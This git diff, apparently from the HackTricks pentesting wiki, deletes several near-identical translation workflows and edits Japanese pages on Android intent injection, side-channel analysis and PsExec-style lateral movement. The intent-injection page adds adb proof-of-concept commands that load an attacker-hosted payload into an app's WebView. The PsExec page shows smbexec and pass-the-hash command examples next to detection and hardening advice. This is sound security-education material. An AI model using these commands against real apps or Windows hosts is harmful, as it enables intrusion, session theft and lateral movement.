runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index 13571575b..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 4991a185c..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index ed59a8d34..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/intent-injection.md b/src/mobile-pentesting/android-app-pentesting/intent-injection.md index fe10c4170..c4fe1ebf9 100644 --- a/src/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/src/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -1,5 +1,64 @@ -{{#include ../../banners/hacktricks-training.md}} - -**次のリンクを確認してください: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)** +# Intent Injection + +{{#include ../../banners/hacktricks-training.md}} + +Intent injectionは、攻撃者が制御するIntentまたは後でIntentに変換されるデータを受け入れるコンポーネントを悪用します。Androidアプリのペンテスト中に非常に一般的な2つのパターンは次のとおりです。 + +- 攻撃者が作成したextrasをエクスポートされたActivities/Services/BroadcastReceiversに渡し、それが後で特権のある非エクスポートコンポーネントに転送される。 +- 攻撃者が制御するURLを内部WebViewや他の敏感なシンクに転送するエクスポートされたVIEW/BROWSABLEディープリンクをトリガーする。 + +## Deep links → WebView sink (URL parameter injection) + +アプリが次のようなカスタムスキームのディープリンクを公開している場合: +```text +myscheme://com.example.app/web?url= +``` +受信するActivityが`url`クエリパラメータをWebViewに転送すると、アプリが独自のWebViewコンテキストで任意のリモートコンテンツをレンダリングするように強制できます。 + +PoC via adb: +```bash +# Implicit VIEW intent +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" + +# Or explicitly target an Activity +adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +影響 +- HTML/JSがアプリのWebViewプロファイル内で実行されます。 +- JavaScriptが有効になっている場合(デフォルトまたは不適切なチェックのため)、公開された`@JavascriptInterface`オブジェクトを列挙/使用し、WebViewのクッキー/ローカルストレージを盗み、ピボットできます。 + +参照: + +{{#ref}} +webview-attacks.md +{{#endref}} + +## JavaScriptを有効にするチェックの順序バグ + +繰り返し発生するバグは、最終URLの許可リスト/検証が完了する前にJavaScript(または他の許可されたWebView設定)を有効にすることです。早期のヘルパーがあなたのディープリンクを受け入れ、WebViewが最初に構成されると、後のチェックが不完全または遅すぎても、最終的な読み込みはすでにJavaScriptが有効になった状態で行われます。 + +逆コンパイルされたコードで探すべきこと: +- URLを異なる方法で解析/分割/再構築する複数のヘルパー(不一致の正規化)。 +- 最後のホスト/パスの許可リストチェックの前に`getSettings().setJavaScriptEnabled(true)`を呼び出す。 +- パイプラインのようなもの:解析 → 部分的な検証 → WebViewの構成 → 最終確認 → loadUrl。 + +緩和策 +- 一度正規化し、厳密に検証する;閉じるように失敗する。 +- すべてのチェックが通過した後、信頼できるコンテンツを読み込む直前にのみJavaScriptを有効にする。 +- 信頼できないオリジンへのブリッジを公開しない。 + +## 他の古典的なIntentインジェクションプリミティブ + +- 攻撃者が提供した`Intent`エクストラを使用してstartActivity/sendBroadcastし、それが後で再解析され(`Intent.parseUri(...)`)、実行される。 +- 許可チェックなしにIntentsを非公開の敏感なコンポーネントに転送するエクスポートされたプロキシコンポーネント。 + +## 参考文献 + +- [Android – アプリ保護コンポーネントへのアクセス](https://blog.oversecured.com/Android-Access-to-app-protected-components/) +- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) +- [Pwn2Own Ireland 2024 – Samsung S24攻撃チェーン(ホワイトペーパー)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) +- [デモ動画](https://www.youtube.com/watch?v=LAIr2laU-So) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md index c342a879e..41644fda8 100644 --- a/src/todo/hardware-hacking/side_channel_analysis.md +++ b/src/todo/hardware-hacking/side_channel_analysis.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -サイドチャネル攻撃は、内部状態と*相関*のある物理的またはマイクロアーキテクチャの「漏洩」を観察することによって秘密を回収しますが、デバイスの論理インターフェースの一部ではありません。例としては、スマートカードによって引き出される瞬時の電流を測定することから、ネットワーク上でのCPUの電力管理効果を悪用することまで多岐にわたります。 +サイドチャネル攻撃は、内部状態と*相関*のある物理的またはマイクロアーキテクチャの「漏洩」を観察することによって秘密を回復しますが、デバイスの論理インターフェースの一部ではありません。例としては、スマートカードが消費する瞬時の電流を測定することから、ネットワーク上でのCPUの電力管理効果を悪用することまで多岐にわたります。 --- @@ -35,7 +35,7 @@ trace = cw.capture.capture_trace() print(trace.wave) # numpy array of power samples ``` ### Differential/Correlation Power Analysis (DPA/CPA) -*N > 1 000* トレースを取得し、キー バイト `k` を仮定し、HW/HD モデルを計算し、漏洩と相関させます。 +*N > 1 000* トレースを取得し、キー バイト `k` を仮定し、HW/HD モデルを計算して漏洩と相関させます。 ```python import numpy as np corr = np.corrcoef(leakage_model(k), traces[:,sample]) @@ -45,31 +45,27 @@ CPAは最先端の技術ですが、機械学習のバリアント(MLA、深 --- ## 電磁分析 (EMA) -近接場EMプローブ(500 MHz–3 GHz)は、シャントを挿入することなく、電力分析と同じ情報を漏洩します。2024年の研究では、スペクトル相関と低コストのRTL-SDRフロントエンドを使用して、**>10 cm**の距離からSTM32のキー回復が実証されました。 +近接場EMプローブ(500 MHz–3 GHz)は、シャントを挿入せずに電力分析と同じ情報を漏洩します。2024年の研究では、スペクトル相関と低コストのRTL-SDRフロントエンドを使用して、**>10 cm**の距離からSTM32のキー回復が実証されました。 --- ## タイミングおよびマイクロアーキテクチャ攻撃 現代のCPUは共有リソースを通じて秘密を漏洩します: * **Hertzbleed (2022)** – DVFS周波数スケーリングがハミング重みと相関し、*リモート*でEdDSAキーを抽出可能にします。 -* **Downfall / Gather Data Sampling (Intel, 2023)** – 一時実行を使用して、SMTスレッド間でAVX-gatherデータを読み取ります。 +* **Downfall / Gather Data Sampling (Intel, 2023)** – 一時的実行を使用して、SMTスレッド間でAVX-gatherデータを読み取ります。 * **Zenbleed (AMD, 2023) & Inception (AMD, 2023)** – 投機的ベクトル誤予測がクロスドメインでレジスタを漏洩します。 -Spectreクラスの問題についての広範な扱いについては、{{#ref}} -../../cpu-microarchitecture/microarchitectural-attacks.md -{{#endref}}をご覧ください。 - --- ## 音響および光学攻撃 -* 2024年の「iLeakKeys」は、CNN分類器を使用して**スマートフォンのマイクからZoom経由で**ノートパソコンのキーストロークを95%の精度で回復することを示しました。 +* 2024年の「iLeakKeys」は、**スマートフォンのマイクを介してZoomで**ラップトップのキーストロークを95%の精度で回復することを示しました。 * 高速フォトダイオードはDDR4アクティビティLEDをキャプチャし、AESラウンドキーを1分未満で再構築します(BlackHat 2023)。 --- ## フォルトインジェクションおよび差分フォルト分析 (DFA) フォルトとサイドチャネル漏洩を組み合わせることで、キー検索をショートカットします(例:1トレースAES DFA)。最近のホビー向け価格のツール: -* **ChipSHOUTER & PicoEMP** – 1 ns未満の電磁パルスグリッチ。 +* **ChipSHOUTER & PicoEMP** – サブ1 nsの電磁パルスグリッチ。 * **GlitchKit-R5 (2025)** – RISC-V SoCをサポートするオープンソースのクロック/電圧グリッチプラットフォーム。 --- @@ -86,7 +82,7 @@ Spectreクラスの問題についての広範な扱いについては、{{#ref} ## 防御および強化 * **定数時間**実装およびメモリハードアルゴリズム。 -* **マスキング/シャッフル** – 秘密をランダムなシェアに分割;第一順抵抗はTVLAによって認証されています。 +* **マスキング/シャッフル** – 秘密をランダムなシェアに分割;第一階の抵抗はTVLAによって認証されています。 * **隠蔽** – チップ上の電圧レギュレーター、ランダム化されたクロック、デュアルレールロジック、EMシールド。 * **フォルト検出** – 冗長計算、しきい値署名。 * **運用** – 暗号カーネルでDVFS/ターボを無効にし、SMTを隔離し、マルチテナントクラウドでの共存を禁止します。 diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index a8cf7edc2..49e060854 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -16,7 +16,7 @@ - ターゲット上のローカル管理者(SeCreateServicePrivilege)またはターゲット上の明示的なサービス作成権限。 - SMB(445)が到達可能で、ADMIN$共有が利用可能;ホストファイアウォールを通じてリモートサービス管理が許可されている。 - UACリモート制限:ローカルアカウントを使用する場合、トークンフィルタリングによりネットワーク上の管理者がブロックされる可能性があるため、組み込みのAdministratorまたはLocalAccountTokenFilterPolicy=1を使用する必要があります。 -- Kerberos対NTLM:ホスト名/FQDNを使用するとKerberosが有効になり、IPで接続するとNTLMにフォールバックすることが多く(強化された環境ではブロックされる可能性があります)。 +- Kerberos対NTLM:ホスト名/FQDNを使用するとKerberosが有効になります;IPで接続すると、しばしばNTLMにフォールバックし(強化された環境ではブロックされる可能性があります)。 ### sc.exeを介した手動ScExec/WinExec @@ -35,9 +35,9 @@ sc.exe \\TARGET delete HTSvc ``` ノート: - 非サービスEXEを起動するときにタイムアウトエラーが発生することがありますが、実行は続行されます。 -- よりOPSECフレンドリーであるために、ファイルレスコマンド(cmd /c, powershell -enc)を好むか、ドロップされたアーティファクトを削除してください。 +- OPSECに配慮するため、ファイルレスコマンド(cmd /c, powershell -enc)を使用するか、ドロップされたアーティファクトを削除することをお勧めします。 -詳細な手順については、こちらを参照してください: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/ +詳細な手順については、次を参照してください: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/ ## ツールと例 @@ -83,7 +83,7 @@ Artifacts ### Impacket smbexec.py (SMBExec) -- cmd.exeを起動する一時的なサービスを作成し、I/Oに名前付きパイプを使用します。一般的に完全なEXEペイロードをドロップすることは避けられ、コマンド実行はセミインタラクティブです。 +- cmd.exeを生成する一時的なサービスを作成し、I/Oに名前付きパイプを使用します。一般的に完全なEXEペイロードをドロップすることは避けられ、コマンド実行はセミインタラクティブです。 ```bash smbexec.py DOMAIN/user:Password@HOST smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST @@ -107,11 +107,11 @@ cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec ## OPSEC、検出とアーティファクト PsExecのような技術を使用する際の典型的なホスト/ネットワークアーティファクト: -- 管理者アカウントに対するセキュリティ4624(ログオンタイプ3)および4672(特権)。 -- ADMIN$アクセスおよびサービスバイナリの作成/書き込みを示すセキュリティ5140/5145ファイル共有およびファイル共有詳細イベント(例:PSEXESVC.exeまたはランダムな8文字の.exe)。 +- 使用された管理者アカウントのためのセキュリティ4624(ログオンタイプ3)および4672(特権)。 +- ADMIN$アクセスおよびサービスバイナリの作成/書き込み(例:PSEXESVC.exeまたはランダムな8文字の.exe)を示すセキュリティ5140/5145ファイル共有およびファイル共有詳細イベント。 - ターゲット上のセキュリティ7045サービスインストール:PSEXESVC、RemComSvc、またはカスタム(-r / -service-name)のようなサービス名。 -- services.exeまたはサービスイメージのためのSysmon 1(プロセス作成)、3(ネットワーク接続)、11(ファイル作成)C:\Windows\内、\\.\pipe\psexesvc、\\.\pipe\remcom_*、またはランダム化された同等物のための17/18(パイプ作成/接続)。 -- Sysinternals EULAのためのレジストリアーティファクト:HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1オペレータホスト上(抑制されていない場合)。 +- services.exeまたはサービスイメージのためのSysmon 1(プロセス作成)、3(ネットワーク接続)、C:\Windows\内の11(ファイル作成)、\\.\pipe\psexesvc、\\.\pipe\remcom_*、またはランダム化された同等物のための17/18(パイプ作成/接続)。 +- オペレータホスト上のSysinternals EULAのためのレジストリアーティファクト:HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1(抑制されていない場合)。 ハンティングアイデア - ImagePathにcmd.exe /c、powershell.exe、またはTEMPロケーションを含むサービスインストールにアラートを出す。 @@ -119,32 +119,19 @@ PsExecのような技術を使用する際の典型的なホスト/ネットワ - -stdin/-stdout/-stderrで終わる名前付きパイプや、よく知られたPsExecクローンパイプ名にフラグを立てる。 ## 一般的な失敗のトラブルシューティング -- サービス作成時にアクセスが拒否される(5):真のローカル管理者ではない、ローカルアカウントに対するUACリモート制限、またはサービスバイナリパス上のEDR改ざん保護。 +- サービス作成時にアクセスが拒否される(5):真のローカル管理者でない、ローカルアカウントのUACリモート制限、またはサービスバイナリパス上のEDR改ざん保護。 - ネットワークパスが見つからない(53)またはADMIN$に接続できない:SMB/RPCをブロックするファイアウォールまたは管理共有が無効。 - Kerberosが失敗するがNTLMがブロックされる:ホスト名/FQDN(IPではなく)を使用して接続し、適切なSPNを確保するか、Impacketを使用する際にチケットと共に-k/-no-passを供給する。 - サービス開始がタイムアウトするがペイロードが実行された:実際のサービスバイナリでない場合は予想される;出力をファイルにキャプチャするか、ライブI/Oのためにsmbexecを使用する。 -## ハードニングノート(現代の変更) -- Windows 11 24H2およびWindows Server 2025は、デフォルトでアウトバウンド(およびWindows 11のインバウンド)接続に対してSMB署名を要求します。これは、正当な資格情報を持つPsExecの使用を妨げることはありませんが、署名されていないSMBリレーの悪用を防ぎ、署名をサポートしないデバイスに影響を与える可能性があります。 -- 新しいSMBクライアントのNTLMブロック(Windows 11 24H2/Server 2025)は、IPまたは非Kerberosサーバーへの接続時にNTLMフォールバックを防ぐことがあります。ハードニングされた環境では、NTLMベースのPsExec/SMBExecが壊れる;正当な必要がある場合はKerberos(ホスト名/FQDN)を使用するか、例外を設定する。 -- 最小特権の原則:ローカル管理者メンバーシップを最小限に抑え、Just-in-Time/Just-Enough Adminを優先し、LAPSを強制し、7045サービスインストールを監視/アラートする。 +## ハードニングノート +- Windows 11 24H2およびWindows Server 2025は、デフォルトでアウトバウンド(およびWindows 11のインバウンド)接続にSMB署名を要求します。これは、有効な資格情報を持つ正当なPsExecの使用を妨げることはありませんが、署名されていないSMBリレーの悪用を防ぎ、署名をサポートしないデバイスに影響を与える可能性があります。 +- 新しいSMBクライアントのNTLMブロック(Windows 11 24H2/Server 2025)は、IPで接続する際や非Kerberosサーバーに接続する際のNTLMフォールバックを防ぐことがあります。ハードニングされた環境では、NTLMベースのPsExec/SMBExecが壊れるため、Kerberos(ホスト名/FQDN)を使用するか、正当な必要がある場合は例外を設定してください。 +- 最小特権の原則:ローカル管理者メンバーシップを最小限に抑え、Just-in-Time/Just-Enough Adminを優先し、LAPSを強制し、7045サービスインストールを監視/アラートします。 ## 参照 -- WMIベースのリモート実行(しばしばファイルレス): -{{#ref}} -./wmiexec.md -{{#endref}} - -- WinRMベースのリモート実行: -{{#ref}} -./winrm.md -{{#endref}} - - - -## 参考文献 - - PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec - Windows Server 2025およびWindows 11におけるSMBセキュリティハードニング(デフォルトでの署名、NTLMブロック):https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591 + {{#include ../../banners/hacktricks-training.md}}